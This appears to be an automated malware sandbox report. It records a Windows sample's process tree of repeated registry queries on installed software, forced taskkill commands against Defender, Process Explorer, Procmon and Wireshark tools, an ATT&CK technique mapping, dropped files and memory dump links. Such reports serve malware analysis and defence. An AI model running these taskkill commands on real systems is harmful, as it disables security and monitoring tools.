cmd.exe
2⤵
PID:1168

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:64
3⤵
PID:748

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:32
3⤵
PID:792

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1528

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:64
3⤵
PID:1884

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:32
3⤵
PID:1956

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1772

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:64
3⤵
PID:1840

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:32
3⤵
PID:1804

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1560

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:64
3⤵
PID:1436

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:32
3⤵
PID:1544

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1848

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:64
3⤵
PID:1420

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:32
3⤵
PID:1112

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1676

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:64
3⤵
PID:1568

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:32
3⤵
PID:1296

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1660

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:64
3⤵
PID:1928

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:1508

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:584

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1968

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1440

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:828

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1580

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1732

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1416

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1872

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1212

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:984

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1400

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:832

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1792

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1588

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1980

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1664

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1544

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1556

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:2040

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1488

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1568

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1800

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1636

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:64
3⤵
PID:1508

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:32
3⤵
PID:1960

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1184

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:64
3⤵
PID:432

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:32
3⤵
PID:1580

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1596

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1492

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1872

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:328

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:64
3⤵
PID:832

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:2020

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1628

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:2044

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:748

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1412

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1980

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:968

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1808

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:2040

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1912

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1684

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:996

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1508

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1624

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1732

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1580

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F
2⤵
- Kills process with taskkill
PID:1376

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1884

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1292

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1500

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1664

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:64
3⤵
PID:1980

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1112

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:2040

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" /reg:64
3⤵
PID:1432

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" /reg:32
3⤵
PID:1960

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1508

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:64
3⤵
PID:432

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:32
3⤵
PID:1492

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:700

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:64
3⤵
PID:1468

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:32
3⤵
PID:1500

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:968

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:64
3⤵
PID:584

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:32
3⤵
PID:2036

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1560

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Adobe AIR" /reg:64
3⤵
PID:1836

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Adobe AIR" /reg:32
3⤵
PID:1408

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:980

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:64
3⤵
PID:1056

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:32
3⤵
PID:1144

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1876

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}" /reg:64
3⤵
PID:1908

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}" /reg:32
3⤵
PID:1412

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1768

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:64
3⤵
PID:1184

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:32
3⤵
PID:1564

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1596

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:64
3⤵
PID:1928

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:32
3⤵
PID:1416

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1904

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:64
3⤵
PID:1400

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:32
3⤵
PID:1584

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:2032

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:64
3⤵
PID:1796

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:32
3⤵
PID:1472

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:748

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:64
3⤵
PID:832

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:32
3⤵
PID:1724

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1212

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:64
3⤵
PID:1240

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:32
3⤵
PID:1432

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1340

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:64
3⤵
PID:1580

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:32
3⤵
PID:1492

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1292

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364" /reg:64
3⤵
PID:2044

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364" /reg:32
3⤵
PID:1676

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
2⤵
- Kills process with taskkill
PID:584

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1408

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}" /reg:64
3⤵
PID:1056

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}" /reg:32
3⤵
PID:1684

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1908

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}" /reg:64
3⤵
PID:1440

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}" /reg:32
3⤵
PID:1460

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1564

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:64
3⤵
PID:1636

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:32
3⤵
PID:604

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1884

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:64
3⤵
PID:1400

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:32
3⤵
PID:1008

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1568

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:64
3⤵
PID:1472

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:32
3⤵
PID:1112

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:1552

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:1580

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:1480

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:1848

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:1928

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F
2⤵
- Kills process with taskkill
PID:1008

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F
2⤵
- Kills process with taskkill
PID:432

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Hidden Files and Directories

T1158

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\.ntusernt.ini

Download Submit
C:\Users\Admin\FVKwo\Desktop.ini

Download Submit
C:\Users\Admin\FVKwo\WbZqr.class

Download Submit
\Users\Admin\AppData\Local\Temp\SpmNyQwEev7271912848703849142.xml

Download Submit
memory/328-163-0x0000000000000000-mapping.dmp

Download
memory/328-78-0x0000000000000000-mapping.dmp

Download
memory/432-60-0x0000000000000000-mapping.dmp

Download
memory/432-255-0x0000000000000000-mapping.dmp

Download
memory/432-158-0x0000000000000000-mapping.dmp

Download
memory/432-102-0x0000000000000000-mapping.dmp

Download
memory/432-31-0x0000000000000000-mapping.dmp

Download
memory/432-192-0x0000000000000000-mapping.dmp

Download
memory/584-233-0x0000000000000000-mapping.dmp

Download
memory/584-45-0x0000000000000000-mapping.dmp

Download
memory/584-198-0x0000000000000000-mapping.dmp

Download
memory/584-132-0x0000000000000000-mapping.dmp

Download
memory/604-242-0x0000000000000000-mapping.dmp

Download
memory/604-46-0x0000000000000000-mapping.dmp

Download
memory/604-62-0x0000000000000000-mapping.dmp

Download
memory/700-194-0x0000000000000000-mapping.dmp

Download
memory/748-27-0x0000000000000000-mapping.dmp

Download
memory/748-66-0x0000000000000000-mapping.dmp

Download
memory/748-221-0x0000000000000000-mapping.dmp

Download
memory/748-168-0x0000000000000000-mapping.dmp

Download
memory/748-112-0x0000000000000000-mapping.dmp

Download
memory/792-113-0x0000000000000000-mapping.dmp

Download
memory/828-135-0x0000000000000000-mapping.dmp

Download
memory/832-164-0x0000000000000000-mapping.dmp

Download
memory/832-143-0x0000000000000000-mapping.dmp

Download
memory/832-222-0x0000000000000000-mapping.dmp

Download
memory/968-171-0x0000000000000000-mapping.dmp

Download
memory/968-197-0x0000000000000000-mapping.dmp

Download
memory/980-25-0x0000000000000000-mapping.dmp

Download
memory/980-203-0x0000000000000000-mapping.dmp

Download
memory/984-139-0x0000000000000000-mapping.dmp

Download
memory/984-106-0x0000000000000000-mapping.dmp

Download
memory/996-176-0x0000000000000000-mapping.dmp

Download
memory/1008-245-0x0000000000000000-mapping.dmp

Download
memory/1008-254-0x0000000000000000-mapping.dmp

Download
memory/1008-92-0x0000000000000000-mapping.dmp

Download
memory/1056-105-0x0000000000000000-mapping.dmp

Download
memory/1056-204-0x0000000000000000-mapping.dmp

Download
memory/1056-20-0x0000000000000000-mapping.dmp

Download
memory/1056-235-0x0000000000000000-mapping.dmp

Download
memory/1112-248-0x0000000000000000-mapping.dmp

Download
memory/1112-125-0x0000000000000000-mapping.dmp

Download
memory/1112-187-0x0000000000000000-mapping.dmp

Download
memory/1112-99-0x0000000000000000-mapping.dmp

Download
memory/1116-2-0x0000000000000000-mapping.dmp

Download
memory/1124-98-0x0000000000000000-mapping.dmp

Download
memory/1124-21-0x0000000000000000-mapping.dmp

Download
memory/1144-81-0x0000000000000000-mapping.dmp

Download
memory/1144-205-0x0000000000000000-mapping.dmp

Download
memory/1168-111-0x0000000000000000-mapping.dmp

Download
memory/1168-53-0x0000000000000000-mapping.dmp

Download
memory/1184-19-0x0000000000000000-mapping.dmp

Download
memory/1184-157-0x0000000000000000-mapping.dmp

Download
memory/1184-210-0x0000000000000000-mapping.dmp

Download
memory/1212-224-0x0000000000000000-mapping.dmp

Download
memory/1212-141-0x0000000000000000-mapping.dmp

Download
memory/1212-55-0x0000000000000000-mapping.dmp

Download
memory/1228-101-0x0000000000000000-mapping.dmp

Download
memory/1228-41-0x0000000000000000-mapping.dmp

Download
memory/1232-8-0x0000000000000000-mapping.dmp

Download
memory/1240-104-0x0000000000000000-mapping.dmp

Download
memory/1240-225-0x0000000000000000-mapping.dmp

Download
memory/1292-34-0x0000000000000000-mapping.dmp

Download
memory/1292-230-0x0000000000000000-mapping.dmp

Download
memory/1292-183-0x0000000000000000-mapping.dmp

Download
memory/1292-75-0x0000000000000000-mapping.dmp

Download
memory/1296-128-0x0000000000000000-mapping.dmp

Download
memory/1296-54-0x0000000000000000-mapping.dmp

Download
memory/1340-227-0x0000000000000000-mapping.dmp

Download
memory/1340-80-0x0000000000000000-mapping.dmp

Download
memory/1348-23-0x0000000000000000-mapping.dmp

Download
memory/1348-58-0x0000000000000000-mapping.dmp

Download
memory/1372-52-0x0000000000000000-mapping.dmp

Download
memory/1372-86-0x0000000000000000-mapping.dmp

Download
memory/1376-181-0x0000000000000000-mapping.dmp

Download
memory/1376-50-0x0000000000000000-mapping.dmp

Download
memory/1376-109-0x0000000000000000-mapping.dmp

Download
memory/1380-84-0x0000000000000000-mapping.dmp

Download
memory/1400-24-0x0000000000000000-mapping.dmp

Download
memory/1400-244-0x0000000000000000-mapping.dmp

Download
memory/1400-216-0x0000000000000000-mapping.dmp

Download
memory/1400-142-0x0000000000000000-mapping.dmp

Download
memory/1408-202-0x0000000000000000-mapping.dmp

Download
memory/1408-234-0x0000000000000000-mapping.dmp

Download
memory/1408-108-0x0000000000000000-mapping.dmp

Download
memory/1408-56-0x0000000000000000-mapping.dmp

Download
memory/1412-1-0x0000000000000000-mapping.dmp

Download
memory/1412-208-0x0000000000000000-mapping.dmp

Download
memory/1412-169-0x0000000000000000-mapping.dmp

Download
memory/1416-138-0x0000000000000000-mapping.dmp

Download
memory/1416-214-0x0000000000000000-mapping.dmp

Download
memory/1416-44-0x0000000000000000-mapping.dmp

Download
memory/1420-124-0x0000000000000000-mapping.dmp

Download
memory/1432-189-0x0000000000000000-mapping.dmp

Download
memory/1432-226-0x0000000000000000-mapping.dmp

Download
memory/1436-94-0x0000000000000000-mapping.dmp

Download
memory/1436-121-0x0000000000000000-mapping.dmp

Download
memory/1440-238-0x0000000000000000-mapping.dmp

Download
memory/1440-134-0x0000000000000000-mapping.dmp

Download
memory/1460-107-0x0000000000000000-mapping.dmp

Download
memory/1460-239-0x0000000000000000-mapping.dmp

Download
memory/1468-38-0x0000000000000000-mapping.dmp

Download
memory/1468-68-0x0000000000000000-mapping.dmp

Download
memory/1468-195-0x0000000000000000-mapping.dmp

Download
memory/1468-49-0x0000000000000000-mapping.dmp

Download
memory/1468-110-0x0000000000000000-mapping.dmp

Download
memory/1472-220-0x0000000000000000-mapping.dmp

Download
memory/1472-247-0x0000000000000000-mapping.dmp

Download
memory/1472-51-0x0000000000000000-mapping.dmp

Download
memory/1472-37-0x0000000000000000-mapping.dmp

Download
memory/1480-251-0x0000000000000000-mapping.dmp

Download
memory/1480-95-0x0000000000000000-mapping.dmp

Download
memory/1488-73-0x0000000000000000-mapping.dmp

Download
memory/1488-151-0x0000000000000000-mapping.dmp

Download
memory/1488-103-0x0000000000000000-mapping.dmp

Download
